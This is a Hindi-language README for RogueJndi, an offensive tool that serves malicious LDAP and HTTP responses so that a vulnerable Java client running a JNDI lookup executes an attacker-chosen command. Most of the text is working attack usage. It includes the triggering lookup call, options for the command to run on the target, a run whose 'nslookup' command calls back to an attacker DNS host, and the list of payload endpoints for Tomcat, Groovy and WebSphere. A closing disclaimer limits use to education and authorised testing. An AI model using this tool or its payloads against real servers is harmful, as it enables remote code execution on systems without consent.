
JNDI इंजेक्शन हमलों के लिए एक दुर्भावनापूर्ण LDAP सर्वर
JNDI इंजेक्शन हमलों के लिए एक दुर्भावनापूर्ण LDAP सर्वर।
इस प्रोजेक्ट में डिफ़ॉल्ट रूप से असुरक्षित Java JNDI API का शोषण करने के लिए LDAP और HTTP सर्वर शामिल हैं।
हमला करने के लिए, आप इन सर्वरों को स्थानीय रूप से शुरू कर सकते हैं और फिर कमजोर क्लाइंट पर JNDI रिज़ॉल्यूशन ट्रिगर कर सकते हैं, उदाहरण के लिए:
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");
यह कमजोर क्लाइंट से स्थानीय LDAP सर्वर के लिए एक कनेक्शन शुरू करेगा। फिर, स्थानीय सर्वर एक दुर्भावनापूर्ण एंट्री के साथ प्रतिक्रिया करता है जिसमें एक पेलोड होता है, जो Remote Code Execution प्राप्त करने के लिए उपयोगी हो सकता है।
ज्ञात JNDI हमले विधियों (संदर्भों में रिमोट क्लासलोडिंग के माध्यम से) के अलावा, यह टूल ObjectFactories की शक्ति का लाभ उठाकर नए हमले वेक्टर लाता है।
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
Options:
-c, --command Command to execute on the target server (default:
/Applications/Calculator.app/Contents/MacOS/Calculator)
-n, --hostname Local HTTP server hostname (required for remote
classloading and websphere payloads) (default:
192.168.1.10)
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8000)
--wsdl [websphere1 payload option] WSDL file with XXE payload
(default: /list.wsdl)
--localjar [websphere2 payload option] Local jar file to load (this
file should be located on the remote server) (default:
../../../../../tmp/jar_cache7808167489549525095.tmp)
-h, --help Show this help
सबसे महत्वपूर्ण पैरामीटर ldap सर्वर का होस्टनाम (-n, लक्ष्य से एक्सेस योग्य होना चाहिए) और वह कमांड है जिसे आप लक्ष्य सर्वर पर निष्पादित करना चाहते हैं (-c)।
"-c" विकल्प के विकल्प के रूप में, आप ExportObject.java फ़ाइल को संशोधित कर सकते हैं, उसमें वह java कोड डालकर जिसे आप लक्ष्य सर्वर पर निष्पादित करना चाहते हैं।
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
Java v1.7+ और Maven v3+ आवश्यक हैं
mvn package
यह सॉफ्टवेयर केवल शैक्षिक उद्देश्यों और/या उन प्रणालियों के परीक्षण के लिए प्रदान किया गया है जिन पर हमला करने की उपयोगकर्ता को पूर्व अनुमति है।